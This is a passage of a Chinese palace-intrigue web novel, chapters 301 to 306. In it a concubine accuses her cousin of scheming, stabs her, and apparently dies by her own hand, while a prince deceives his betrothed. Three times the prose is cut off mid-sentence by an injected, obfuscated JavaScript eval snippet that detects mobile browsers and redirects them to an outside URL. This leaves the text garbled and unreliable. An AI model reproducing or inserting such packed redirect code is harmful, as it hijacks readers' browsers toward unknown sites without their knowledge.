林惜颜怒视那嬷嬷,“还不快将手拿开!” 在林惜颜几乎要噬人的目光下,那嬷嬷缓缓松了手。 周令芙得了自由,立刻开口道:“林小姐,我根本没有疯,这一切都是周令宜的的计划。” “她从小便爱慕殿下,记恨我抢在她前头进了安王府,便处处折磨我,就连我之前的那个孩子都是她给我灌药打掉的。” “你胡说!”周令宜道,她看向林惜颜,“林姐姐,我绝对没有做过这样的事,我若是爱慕殿下,凭我永宁伯嫡女的身份,早就进了安王府了,怎会让她抢了先?” “那是因为你想做安王妃,不想做妾室!”周令芙怒吼道,看向周令宜的目光恨不能将她扒皮抽筋。 “林小姐,周令宜原本是想嫁给安王做正妃,所以才一直没有采取行动。” “可谁知,安王并没有娶她为正妃,反而是求了赐婚圣旨要与你成婚,她这才作罢。” “她现在与你交好,是想让你放松警惕,将来寻个机会进安王府,等安王有机会登上那至高之位时,再取代你的位置。” “甚至她留我一命到现在都是为了污蔑你的名声,她是想着在你与安王的新婚之夜要我的命!” “一来你一进门就背上了妒妇,不能容人的名声,烙下了话柄,方便她以后将你拉下来。” “二来害死的还是我这个永宁伯府的嫡女,到时永宁伯府定会出面声讨,她再出来做好人,平息事端,获取你的信任。” “周令宜她,根本就是心狠手辣!” 这是周令芙自己根据周令宜的话推测出来的,除了这两点,周令芙想不出别的周令宜非要选择在安王与林惜颜成婚当日才要她命的原因。 不得不说,挫折使人成长,周令芙如今也会用脑子思考问题了。 这若是放在从前,仅凭周令宜透露出的那一点信息,周令芙是万万想不到这两点的。 只说安王与周令宜有染,林惜颜会很愤怒,即便周令宜最后进了安王府她也不会让对方好过。 但周令芙的话显然将事情拐到了另一个维度上。 前者是周令宜想要跟她抢男人,后者是周令宜不仅要与她抢男人,甚至还想陷害她,让她背负善妒的名声,想要将她拉下安王妃之位。 这两者的严重程度可不能同日而语。 林惜颜猛地看向周令宜,眼中似是有火苗跳跃。 第三百零一章周令宜诡辩 便是连谢祁安都蹙起了眉头,看向周令宜的眼眸中闪过些许意外。 显然是没有想到周令宜居然打着这个如玉算盘。 他将周令芙交给周令宜任意处置,是想要安抚周令宜,而不是让她来算计林惜颜的。 他虽然对林惜颜没有男女之情,甚至觉得她粗鄙无脑,但这并不代表周令宜可以算计她。 林惜颜若是与他拜堂成了亲,名义上便是安王妃,在外人眼中夫妇一体,一荣俱荣,一损俱损。 若是真让周令宜得逞了,林惜颜固然会背上了善妒的名声,但他又得的了好吗? 他可不想因这种事情成为京城茶余饭后的谈资。 看在以往的情分上,他可以容忍周令宜嫉妒,朝自己使小性子,但在大事上,他绝不能容忍她由着自己的性子胡来。 谢祁安抿了抿唇,并未说什么,然而作为差点被算计的林惜颜却沉不住气了。 也不管是不是在谢祁安面前,直接三步并做两步走到周令宜面前,直接一巴掌扇了过去。 “**!一直以来你都在骗我,竟然还敢算计我!” “林姐姐,我没有!”周令宜捂着自己的脸喊道,余光瞥见谢祁安的神色也有些不对劲,心中便知晓这件事情她一定不能承认。 不然她不仅会迎来林惜颜的报复,便是殿下也会因此对她产生隔阂。 她在心中快速思索着解决办法,突然她眼睛一亮。 这边林惜颜听到她居然还不承认,更是怒火中烧,“**!你竟然还妄想狡辩!” 说着,又甩了一巴掌下来。 不得不说,周令宜也是个狠人,硬是又接下了这一巴掌才流着泪佯装慌张的解释道:“林姐姐,我真的没有,我之前便说过堂姐她疯了,大部分时候都是糊涂的,难得有清醒的时候。” “她眼下便是清醒了,所以才开口陷害我。” “林姐姐,你有所不知,堂姐她从小便与我不对付。” “她一直嫉妒我,觉得明明都是祖母的孙女,为什么我过得处处都比她好,所以她就一直想压我一头。” “便是她给殿下……也有一部分这个原因,她觉得只要她当上了殿下的侧妃,她就能随意欺辱我了。” “可惜偏偏事与愿违,她不仅没有成功当上安王侧妃,还身败名裂,只能灰溜溜地坐一顶小轿进安王府当侍妾。” “好不容易怀上了孩子,想着能够母凭子贵,却也偏偏因为意外没了。” “殿下因为她爬床之事冷落她,她却固执地认为这一切都是我的错,她觉得若不是为了要压我一头,她断不可能以这种方式进安王府,也不会失去她的孩子。” “她将一切的苦难都归咎于我的身上,所以才在你面前诬陷我,想要挑拨我们的关系,想要我如她一般身败名裂,众叛亲离。” “林姐姐,你可千万不能中了她的奸计啊!” 说着,泪如雨下地看向周令芙,白皙的脸蛋因为愤怒染上些许红晕,“周令芙,我自问没有哪里对不住你。” “幼时,你嫉妒我,处处给我使绊子,我念着姐妹一场的份上,从未与你计较。” “因着你的自卑,我处处关照你,伯府里有什么好东西,我都让祖母先给你选。” “你在祖母寿宴上勾引安王殿下,东窗事发,使得伯府沦为上京城的笑柄,还连累了我的声誉,我都没有责 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“你想一想,周令宜已经及笄,若不是她有别的心思,永宁伯府为什么不给她议亲?” “她是等着要进安王府的啊!” 对于周令芙来说,她的人生已经这样了,无论付出什么代价她都要让周令宜不好过。 周令宜不是想要暗中蛰伏吗? 她偏偏就要将她的阴谋曝光在阳光下。 还有安王,弃她如敝履,纵容周令宜害**她的孩子。 他不是为了皇位娶林惜颜吗? 她倒要看看林惜颜与周令宜窝里斗,安王会怎么做! 第三百零二章周令芙自戕 周令芙原本以为事情都已经到了这一步,周令宜应当是百口莫辩了才是。 毕竟一个适龄女子不谈婚论嫁,整日跟在一个男子身边,肯定是另有图谋。 这般浅显的道理,不用多说,是个人都能想到。 可她没想到周令宜这时候了竟然还想着倒打一耙。 只见周令宜听到周令芙的话神色间更委屈了,她用帕子捂住脸呜咽了几声,随后一脸愤慨地冲周令芙道: “周令芙,你到底有没有良心!这么多年,我敬你为堂姐,你将我当做什么!我为何没有议亲,你难道不清楚吗?” “自你在祖母寿宴上做出那等丑事,坏了府里的名声,连累了我,想来府中提亲的不是沉迷酒色的纨绔子弟,就是**夫人的鳏夫。” “难道我就活该今后成日去青楼里找人亦或是给别人当继母吗?” “我也是好人家的姑娘,我也想嫁与才貌出众的男子与其举案齐眉,我有错吗?” “可是这一切都被你给毁了,难道如今我连拒绝的权利都没有了吗?” “你是不是非要我落入那般境地才甘心?” 最后一句话,周令宜几乎是吼出来的。 她身形摇晃,眼眶也红肿不堪,看起来倒真是一副伤心欲绝的样子。 周令宜说的这话,三分真,七分假。 周令芙与安王的事情确实对周令宜的亲事产生了些许影响,但却并没有她说的那么夸张。 一开始,确实有那拎不清的纨绔子弟家中想要趁火**,但都被永宁伯府老夫人给赶了出去。 后来宫中的周贵妃给永宁伯府赏赐了几匹上好的料子,众人这才反应过来即便是永宁伯府沦为了茶余饭后的谈资,但有周贵妃撑腰,也不是他们能随意攀扯的,慢慢地便也消停了下来。 当然这些变化周令宜并没有放在眼中,从始至终她就没想过要嫁给别人,自然也就不甚在意。 此番拿出来说事,不过是为了让林惜颜更加相信她罢了。 林惜颜确实有些摇摆不定,每次她要偏信周令芙时,周令宜总能说出别的理由使她产生动摇,偏偏她说的还都十分有道理。 一时之间,林惜颜还真不知道应该相信谁。 “你……**!你撒谎!”周令芙瞠目结舌地看着周令宜,看着对方巧舌如簧,三言两语便将事情给踢了回来。 周令宜闻言顿时看向她,似是好心劝诫道:“周侍妾,纸是包不住火的,事情的真相不会随着你的三言两语而发生改变,你莫要再执迷不悟诓骗林姐姐了。” “你若是有什么想法可以好好说出来,我会尽全力帮你,但你若仍是执迷不悟,那就休怪我不念及姐妹之情,任由你在这安王府内自生自灭了。” 林惜颜听到这话,下意识点了点头。 这举动却惹怒了周令芙,她以为林惜颜已经彻底信了周令宜的话。 她开始往周令宜的方向挣扎,面色扭曲,“**!**!你胡说八道,我要撕烂你的嘴!” 也不知是否是周令芙的举动太过突然,压着她双手的嬷嬷们一时间没有防备,还真让她挣脱开了。 双手得到自由的周令芙猛地向周令宜的方向冲去,在众目睽睽之下,也不知从哪儿掏出了一把泛着寒光的**就要朝周令宜刺去。 “周令宜,**!你害我至此,**吧!” “啊啊啊啊——” 利刃划破衣帛与皮肉,几滴鲜血飞溅到脏污的脸庞上。 未刺中理想中的位置,周令芙眉目一厉,正要再刺一刀,但安王府的守卫却没有再给她这个机会。 十多个守卫在她刺第一刀时便鱼贯而入,将安王一干人等与周令芙分隔开来。 周令宜倚靠着采薇,捂着血流不止的肩膀,疼得直抽气,豆大的汗珠从额角滑落,心里却止不住地害怕。 方才,差一点,就差一点点。 若不是她反应得及时,及时侧身躲了一下,周令芙刺中的就不是她的肩膀,而是她的心口了。 若是直面被刺中心口,她必死无疑! 周令芙是真的想要杀了她! 认识到这一点,周令宜眼中划过一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15202467|165119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抹狠厉,她心有余悸地开口道:“疯了!她是真的疯了!” “还不快将人拿下!”周令宜朝那些守卫吼道。 随即又看向已经呆愣着被护在后面的林惜颜,道:“林姐姐,你这下总该相信我的话了吧,她是真的疯了,而且疯的不轻,竟然还想**。” 不用周令宜说,林惜颜都觉得周令芙是疯了。 这闺阁女儿家闹矛盾,向来是谋算为上,像她这种动不动就动手的都极少。 可周令芙倒好,直接动起了刀子。 这一幕实在是太有冲击性了,即便是林惜颜出身武将之家,也被震得不轻。 尤其是林惜颜一想到这**一直在周令芙身上,而周令芙方才还一直抱着她不放,一抬手便能要了她的性命,她便起了一身冷汗。 守卫们依照周令宜的吩咐冲上前要将周令芙拿下,周令芙却突然调转**对准了自己的颈脖。 “我看谁敢上前!” 周令芙这一招唬了守卫们一跳,俱都面面相觑不敢再上前。 毕竟周令芙怎么说都是安王府的侍妾,还是伯府贵女,若是被逼**,他们小小的守卫可承担不起这个责任。 事情都到了这一步,一直冷眼旁观的谢祁安只能站出来。 他眉头紧蹙,嗓音冰冷,道:“你这是做什么,还不快将**放下。” 看着面前冷血无情的男人,周令芙哈哈大笑了起来,挑衅地道:“我凭什么听你的!” 听到这话,谢祁安的脸色陡然沉了下来。 周令芙却略过他,看向了周令宜与林惜颜所在的方向。 “周令宜,你这个**,你害死我娘,害死我的孩子,我做鬼都不会放过你!” 随后她又看向林惜颜,“林小姐,我说的一切都是真的,如今我将这件事情说出来了,周令宜定然不会放过我。” “左右都是死,如今我娘也**,我也了无牵挂了,那我便用我这条命向你证明我所言非虚!” 说着,周令芙放在脖颈上的**往下移,用力**了自己的胸膛。 第三百零三章周令芙** 一口鲜血自嘴角喷出,污染了地上铺设的华贵地毯。 “啊——” 林惜颜尖叫出声。 周令宜双眸瞪大,嘴唇微张,却发不出声音。 就连谢祁安瞳孔都狠狠一震。 周围的侍卫们也都惊呆了。 谁都没想到周令芙竟然会自裁。 “还愣着干什么!还不赶紧去叫大夫!”谢祁安朝守卫喊道。 他虽然不在乎周令芙的死活,却决不能让她以这样的方式在林惜颜面前死去。 “哦哦,是,属下遵命!”守卫方才回神,急急忙忙冲出了屋子。 “哈哈哈——”周令芙一张口,汩汩的鲜血往外流,看得极为瘆人。 她失了力气缓缓瘫倒在地,眼神却直勾勾地盯着周令宜,拼尽仅剩的力气朝周令宜的方向爬行。 “周令宜……你说我污蔑你,可是我敢以死明志……你敢吗?” “你敢吗?哈哈哈——额——” 随着最后癫狂的笑声,周令芙身体抽动了一下,彻底不动了。 她并没有等来大夫,甚至死前,她那双充满恨意的猩红双眼,都没有合上,死死地盯着周令宜,眼珠都不曾转动。 周令芙——**! 周令宜脸色猛地沉了下来,并没有想象中的开心。 这个**! 不仅将她的计划搅得一团乱,临死前还摆了她一道。 周令芙都以死明志了,林惜颜肯定会相信周令芙,而怀疑她。 这次她该如何狡辩才能说服林惜颜,总不能真如周令芙所说,学她以死明志吧! 好好的局面搅成这样,周令宜气得心肝都在颤抖。 满地都是周令芙的鲜血,有她呕吐出来的,有伤口流出的,还有周令芙朝周令宜的方向爬行时拖带的。 良久,林惜颜才从这血腥的场景中回过神来。 随之而来的,便是怒火中烧。 她侧头看向周令宜,双眸似是都在喷火。 林惜颜的想法很简单。 没有人不想好好活着。 周令芙既然都敢以死明志了,那她说的肯定就是真的。 她定是被周令宜逼得没有其他办法了,所以才自戕。 若是她说的都是真的,那周令宜说的就都是假的。 周令宜方才的那些话就都是狡辩,甚至她还眼都不眨地逼**周令芙这个亲堂姐。 林惜颜想到周令芙身上的伤以及周令芙说的那些遭遇,心中都不免一阵胆寒。 这哪是温柔和善的世家小姐,这分明就是心狠手辣,**不眨眼的毒蛇。 而这样的人,却一直在她身边徘徊,说她没有目的,林惜颜都不相信。 周令宜就站在林惜颜的身边,此刻全副心神都在林惜颜的身上,如何会没有察觉到林惜颜的眼神变化。 心中知晓事已至此林惜颜肯定不会再如从前般信任她,但心中仍旧还想再挣扎一下。 她面上一副怯怯的样子,柔弱无辜地地看向林惜颜,道:“林姐姐,我真的没有……” “咱们认识这么久了,难道你还不知晓我的为人吗?” “你方才打了我两耳光,我都没有与你生气,你难道就要因为堂姐与我生分吗?” 林惜颜冷笑一声,道:“周妹妹这话说的,咱们满打满算认识不到一年,我又如何能知晓你的为人?” “都说知人知面不知心,我怎知你表面上与我交好,背地是不是同时盼着我下地狱。” “至于那两耳光,焉知你是不是因为心虚才没有躲闪,若你真如周令芙所说的那样,我还嫌打少了呢。” 林惜颜这话可谓是半分面子没给周令宜留,偏偏周令宜有所顾忌不敢当着谢祁安的面与林惜颜翻脸。 周令宜气得脸色通红,一脸委屈地看了谢祁安一眼。 谢祁安不动声色地上前,柔声道:“颜儿,你不相信宜表妹,难道还不相信我吗?” “我与宜表妹相识多年,最是清楚她的人品,她不会心狠手辣到这种地步的。” 望着谢祁安英俊的脸,林惜颜的目光柔和了些,可随即又想起了周令芙说两人早就暗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15203408|165119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度陈仓,心中便不禁怀疑。 难道安王对于这一切都知晓不成? 他眼睁睁地看着周令宜算计她? 既然不喜欢她,那又为何要求娶她? 这般想着,林惜颜的目光又冷了下来,硬邦邦道:“知人知面不知心,或许殿下也被她蒙蔽了也未可知。” “又或许,事情的真相到底如何,殿下比我心知肚明呢。” 这其中的意思再是清楚不过,林惜颜这是连谢祁安也信不过了。 谢祁安眸光一滞,神色间闪过一抹挣扎,随即很快便下了决断。 他转身朝守卫道:“你们先退下去,本王有话与本王的未婚妻说。” “是!”守卫们应下,退下去的同时还不忘将周令芙的尸体给抬下去。 林惜颜神色一动,显然谢祁安说的‘未婚妻’三个字很是取悦了她,但想到周令芙说的那些事情,林惜颜还是没有露出好脸色。 谢祁安的目光又落到了周令宜身上,冷冰冰道:“宜表妹也先下去吧,本王与未来王妃的谈话,不希望有别人听见。” 别人…… 方才他们还躺在同一张榻上耳鬓厮磨,现如今他却说她是别人…… 虽然知晓谢祁安这样做是为了安抚林惜颜,但周令宜心中还是觉得很委屈。 眼看谢祁安因着她不挪步投来的目光愈发凌厉,周令宜还是选择了退一步。 如今她所有的东西都给了谢祁安,早已没了退路,若是惹怒了谢祁安,对她没有半点好处。 她咬了咬唇,在林惜颜看不见的角度,泫然欲泣地看着谢祁安,声音却还佯装平静道:“宜儿知晓了,断不会如此不识趣打扰表哥与林姐姐的,只是……” “只是还望表哥帮帮忙,替宜儿说说好话,不要让林姐姐继续误会宜儿了……” 谢祁安面无表情的嗯了一声,算是应允了。 周令宜这才一步三回头地走了出去。 方才出来的守卫都站在不远处,见周令宜出来了,上前问道,“周小姐,周侍妾的尸身该如何处置?” 第三百零四章本王心中,唯你一人矣 王府侍妾的尸身安葬这种事情,本不应该问周令宜这个永宁伯府未出阁的小姐的。 但奈何之前谢祁安放纵周令宜在安王府作威作福,眼下又显然没有时间也没想起要安葬周令芙的尸身,守卫们一时不知该如何处置,才问周令宜。 周令宜闻言,下意识看了被守卫抬着的周令芙一眼。 对方早已了无生息,唇瓣都泛着灰白之色。 周令宜双手攥紧,暗自咬牙。 周令芙这个**,临死之前还要摆她一道。 不是做鬼都不会放过她吗? 那就去做孤魂野鬼好了! 正好与她那蠢笨的娘做个伴! 周令宜朝谢祁安与林惜颜所在的房间看了一眼,压低声音道:“直接扔去乱葬岗吧。” “啊?”守卫诧异地看向周令宜。 周令宜神色冰冷,声音里都透着一股凉意,“怎么,有什么问题吗?” “没,没有。”守卫立刻收回目光,道:“属下这就去办!” —— 屋内。 所有人都退下后,只余下谢祁安与林惜颜二人在。 林惜颜绷着一张脸,看向别处,显然是还在生气中。 谢祁安叹息一声,上前牵住林惜颜的手,柔声道:“颜儿可是还在生本王的气?别气了,生气对身体不好。” 谢祁安难得对她这般主动,林惜颜心中欢喜,嘴上却还是自嘲一笑,“王爷说笑了,王爷乃是皇天贵胄,颜儿连王爷的心上人的气都不敢生,又如何敢生王爷的气。” 听着这有些赌气的话,谢祁安似是有些无奈的苦笑了一声,道:“心上人?看来颜儿是真的生气了,都在说气话了,本王哪里来的心上人,便是有,那个心上人也是颜儿。” “不知颜儿可否给本王一个解释的机会?嗯?”谢祁安捏了捏手中的柔夷,语气上扬。 不得不说,谢祁安也算是长了一张好相貌。 俊逸非凡的皇家贵胄说自己是他的心上人,还做小伏低地哄着自己,任凭是哪个女子都无法拒绝。 更何况这个皇家贵胄还本就是林惜颜的心仪之人。 林惜颜竭力压制心中的雀跃,淡淡地嗯了一声,算是答应了。 见她这般容易便妥协,谢祁安的心中不由升起一股轻蔑。 嘴上却用温柔的语气道:“其实,宜表妹确实对本王有些许别的心思。” 林惜颜脑子懵了一瞬,她以为谢祁安是想要替周令宜解释,却没想到谢祁安直接承认了周令宜的心思。 “王爷……你,你说什么?你这是什么意思?” 安王这样说,难道是想要悔婚不成? 这样想着,林惜颜的脸上已然盛满了怒气。 谢祁安见状连忙安抚道:“本王没有别的意思,你别多想。” 见林惜颜脸上的疑惑更甚,谢祁安接着道:“颜儿,本王之所以坦言相告就是怕你误会,本王既然敢告诉你,就表明本王问心无愧,你明白吗?” “因着母妃与祖母的关系,本王自幼便时常出入永宁伯府,与瑾林和宜表妹多有接触。” “本王也不知道从什么时候起,宜表妹突然对本王有了这样的心思,但本王对宜表妹却并无男女之情。” “外祖母对本王一向很好,本王不想让她因这些事情而操心,且宜表妹也并未直接戳破向本王表明她的心迹,姑娘家的名声最为要紧,所以本王选择了装作不知。” “便是到了今日,宜表妹也不知晓本王知道了她的心思。” “所以,之前周侍妾说的暗度陈仓,完全是子虚乌有的事情,即便是宜表妹刻意靠近,本王也自认为保持了距离。” “之前之所以不将这件事情告诉你,一来,是怕你多心,怕告诉你之后你与宜表妹相处不了。” “二来也是怕你露了端倪,若是让宜表妹知晓了本王早已知道她的心思,她必定是会来找本王摊牌的。” “姑娘家的脸皮薄,自尊心强,本王若是丝毫不留余地的拒绝了她,只怕会让她十分难堪,可是若是不狠心拒绝她,只怕不会让她死心,反而还耽误了她的亲事,这也是本王不愿意看到的。” “她是本王的表妹,本王虽不喜欢她,但也是将她当做亲人的,颜儿,你能明白本王的心思吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15203409|165119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 谢祁安温声细语的说着,看向林惜颜的目光满是柔情。 而林惜颜听完谢祁安的话则是有些意外。 所以安王的意思是,他知晓周令宜喜欢他,但他并不想说狠心的话伤及周令宜的自尊心所以故意装傻? 林惜颜狐疑地看了谢祁安一眼,“王爷这话说的,周妹妹在京城中也算是个不可多得的美人了,多年相处,王爷难道就真的不心动?” 谢祁安闻言,嘴角勾起一抹宠溺的弧度,他伸手轻轻刮了一下林惜颜的鼻子,道: “本王心不心动,本王难道还能不知晓?” “想当初,本王可是只见了你一眼,就在心里下定决心定要娶你做本王的王妃,而后便向父皇求了赐婚圣旨。” “本王心中,唯你一人矣,哪还容得下别人。” 听到这话,林惜颜心中即便是有再大的气,顷刻间便也烟消云散了。 她竭力抑制住心中的欢喜,冷哼一声,道:“我才不相信,王爷定是在诓骗我,王爷若是真的喜欢我,又如何会放纵周妹妹算计我!” 原本只是随口的一句抱怨,说出来后林惜颜的心里反而又不舒坦了。 谢祁安眼眸一闪,他双手握住林惜颜的肩膀,看着林惜颜的眼睛,轻声道:“我知晓你不高兴,但还是要为宜表妹辩解一句。” “周令芙说的那些宜表妹想要害死她再嫁祸到你头上的事情,绝对是她胡编乱造出来的。” “宜表妹虽心仪本王,但以她的品性还不至于会做出这等恶毒之事。” “你也不想想,若是宜表妹真是这样的人,有这么深的城府,她早就使手段让本王娶了她了,如何还轮得到周令芙爬床?” “而且本王也并不是放纵她害你,之前让她与你接触,不过是想着她如今也到了成婚的年纪,跟在你身边,看着咱们举案齐眉,两情相悦,说不定就死心了,能够安心嫁人了。” “若真能如此,本王也算做了一回好事,可谁知周令芙会借此来挑拨你们的关系……唉……” 谢祁安一番话说得言辞恳切,尤其是最后两句话,让林惜颜产生了动摇。 第三百零五章越是嫉妒,就越是执拗 她原本在意的就是安王明知道周令宜对他的心思,却不拦着她与周令宜相处。 可若是真按着安王的想法,想让周令宜自己死心,那么他一直默认周令宜与自己相处也就说得通了。 男子与女子的思维不同,安王觉得日日看着自己心爱的男子与别的女子相处,周令宜定会死心。 但同为女子的林惜颜却不这么觉着,女子的嫉妒心是很可怕的。 越是嫉妒,就越是执拗。 若换做她是周令宜,即便是安王拒绝她,她定会拼命想办法进安王府的。 因为进安王府,不仅是可以嫁给心爱的男子,还代表着将来有成为皇妃的可能。 一宫主位,怎么也比外头一般大臣的正头娘子强。 林惜颜觉得周令芙说的有一些未必不是真的,但安王应当是不知情的,没有与周令宜一起害她。 思及此,林惜颜总算是对谢祁安露出了一个笑脸,柔声道:“殿下用心良苦,无愧于心,能够推心置腹与颜儿解释,颜儿自然是相信殿下的。” 关于周令宜的事情,却是半字不提,明显就是不相信周令宜没有算计她之心。 谢祁安眼眸一暗,倒也不失望。 他选择说出周令宜爱慕他,原本就是存了弃车保帅的心思。 方才那种情况下,周令芙在林惜颜面前自戕而亡,给林惜颜的震撼肯定很大。 即便是做出再多的解释,面对一个以自己的死亡来证明说的是真话的人,都显得尤为不堪一击。 甚至,林惜颜连他都不相信了。 他还需林将军的支持,若是林惜颜不相信他,甚至觉得他算计了她,那么林将军必然也会有所保留。 这对于眼下的他来说,无疑是致命的。 所以,他便想出了这么个法子。 选择说出周令宜爱慕他,并将自己塑造成一个不为所动,将周令宜视为亲妹的形象,来解释之前的种种破绽。 林惜颜是否觉得周令宜是真的被污蔑的并不重要,重要的是他必须从这些事情中脱身。 这才是他真正的目的。 至于周令宜,她该如何修复她与林惜颜之间的关系,亦或是该如何应付林惜颜的报复,那是需要她自己想办法的事,并不在他的考虑范围之内。 况且……谢祁安眯了眯眼,想到周令芙之前说的那番话。 周令宜的胆子真是越来越大了,差点坏了他的大事,此次就当是给她一个教训吧。 心中暗自得意自己的机智,眼下没有旁人,谢祁安伸手将林惜颜搂入怀中嗓音愈发温柔。 “颜儿,多谢你相信本王,本王就知道,你是一个善解人意,识大体的女子,得妻如此,是本王的福气。” 这还是谢祁安第一次对林惜颜如此主动。 林惜颜激动之余,悄然羞红了脸,娇羞道:“能嫁与王爷,也是颜儿的福气。” 周令宜,你就是再爱慕安王又有什么用? 我才是安王将来唯一的妻,是安王府未来的女主人,是与他携手并立之人。 你敢觊觎我的男人,你给我等着! —— 沈府。 云蒸霞蔚,余霞成绮,天边的金色霞光倾洒而下,似是给院中的事物渡上了一层金光。 沈琼华倚在窗棂边,纤纤玉手持一把剪刀,认真仔细地修剪着盆栽,金色的霞光透过窗棂射在她的脸上,那张姣好面容上的细微绒毛似是都泛着金色,连带着她手中的盆栽都充满了生命力。 暗一一跨入院中,见到的就是这样一副场景,脚步微微一顿,随即低着头走进屋中。 “回来了?事情如何了?”沈琼华听到动静,头也不回地问道,继续侍弄手中的盆栽。 暗一闻言脸上露出一抹笑意,拱手道:“回县主的话,一切都按照预料的方向发展,都已经办妥了。” 沈琼华发出一声轻笑,嗓音里满是愉悦,“那就好,接下来的事情就交给你了。” “是!”暗一应下,却踌躇着并未退下。 沈琼华察觉到暗一的犹豫,放下剪刀转过身,轻声问道:“怎么了?可是出了什么事?” 暗一摇头,道:“并未出事,只是暗一有一些疑惑。” “哦?什么疑惑?说来听听。”沈琼华挑眉道。 暗一看了看沈琼华的脸色,这才道出心中的疑惑,“这……种事情不是应该越少人知晓越好的吗?属下一人便可以将这事做好,县主为何要让周大小姐去做?” 要知道周大小姐可不是他们的人,随时都有可能出卖他们。 要是她向安王举报他们,那沈小姐的计划不就暴露了吗? 听到暗一的疑问,沈琼华轻笑一声,道:“暗一,你不要小瞧了人心中的恨意。” “一个人若是恨到了极致,那什么事情都有可能做出来。” 周令芙如今经历的一切,又何尝不是她上一世所经历过的。 家毁……母亡……被夫君背叛……被人囚禁鞭打…… 甚至她比周令芙更惨,她还害死了阿逸。 而且谢祁安自始至终都没有给周令芙好脸色过,而她上一世却切切实实与谢祁安过了五年的夫妻生活。 虽然谢祁安没有碰她,但日常生活中的点滴柔情却不是假的。 所以得知这一切都是谢祁安谋夺储位的计谋后,她才会那样伤心。 上一世,当她得知了一切的真相后,她最期盼,最奢望的就是有一个人能够救她出去,能够让她报仇。 她那时恨不能将安王和永宁伯府一行人挫骨扬灰。 如今换到了同样的处境,沈琼华相信周令芙也会如此选择。 而且据她了解,周令芙此人虽然狂妄蠢笨了些,但与吴氏母女感情深厚。 她在纸条中特意提及了吴氏,所以,她敢笃定,周令芙一定会按照她说的做。 第三百零六章还活着,真好 暗一闻言挠了挠头,道:“属下还是不明白。” 沈琼华笑着反问道:“你有把握能够顺利混进安王的书房?” 暗一迟疑地点了点头,道:“虽然需要经历些许波折,但属下可以一试。” 沈琼华摇了摇头道:“你我都知晓,安王府其他地方也许尚好混入,但书房乃是重地,绝对有很多人把手,即便是你武功高强,想要混进书房还不被人发现,也是难上加难。” “安王此人,疑心甚重,若是被他发现有人趁他不在进了书房,定是会打草惊蛇,届时你能不能从安王府全身而退都不一定。” “而周令芙却不同。” “她身陷囹吾,在安王与周令宜眼中,她早就没了威胁之力,不过是一只任由他们揉捏的蝼蚁,心底蔓延出来的轻视使他们注定不会对周令芙设防。” “只要设法让她出了囚禁了院子,让她先在书房附近躲藏起来,待林惜颜来到了安王府质问,安王因为急着找人将书房的守卫都派了出去。” “到那时她便可以悄悄潜入,哪怕是安王事后发现她进了书房亦或是她直接一气之下将书房给砸了,安王也会以为是周令芙的蓄意报复,定然不会朝其他方面想。” “这不比你费劲心思潜入书房还容易暴露来得强?” 沈琼华说着瞥了暗一一眼,暗一顿时茅塞顿开,恍然大悟道:“原来如此,县主此计甚高,暗一佩服。” “既然明白了,那接下来知道该怎么做了?”沈琼华问道。 “暗一知道。”暗一面带些许激动应道。 沈琼华满意地点了点头,道:“去吧,当心着点,我在府中等你的好消息。” “是!”暗一应下,转身退了下去。 就这一会儿功夫,方才如火烧云一般的晚霞便已经全然退去,月亮悄然挂上天空,随着天边的最后一抹亮的落幕,逐渐醒目,几颗星辰在暗夜里闪烁。 沈琼华放下手中的剪刀,打量着手中已经修剪好的盆栽,缓缓露出了一抹笑。 谢祁安,对于你接下来的计划,本小姐也很期待呢。 …… 月上中梢,寂静无声。 裴凉川从屏风后出来的时候,看向沈琼华的眼神甚是诡异。 安锦上前问道:“如何了?人救回来了吗?” 听到安锦的询问,裴凉川收回视线,换上了一副得意的神色,拿出腰间别着的黄金折扇打开扇了扇,道:“本公子出马,这点伤势算什么,还不是手到擒来。” 他这副臭屁的模样换来的是安锦的一个白眼。 沈琼华放下手中的茶盏,笑着道:“辛苦裴神医了,她伤势如何?可还有性命危险?” 裴凉川合起扇子,这才神色认真道:“沈小姐,她的伤口虽然避开了要害,但到底距离心口有些近,若说完全没有影响是不可能的。” “且依她的脉象来看,她失血过多,幸而你之前让我准备假死药的时候,我以防万一掺了一点凝血的药材进去,这才不至于血尽而亡。” “眼下虽然脱离了生命危险,但身体还很虚弱,还需好好将养一段时间才是,我待会儿开个方子,按照这个方子抓药,一日三次,会好很多,只是……” “只是什么?”沈琼华问道。 “只是走了今日这一遭,她今后便不宜做过重的活,阴雨天可能也会有心口痛的毛病。”裴凉川道。 沈琼华听罢,沉默了好一会儿才开口道:“我知道了,多谢裴神医。” 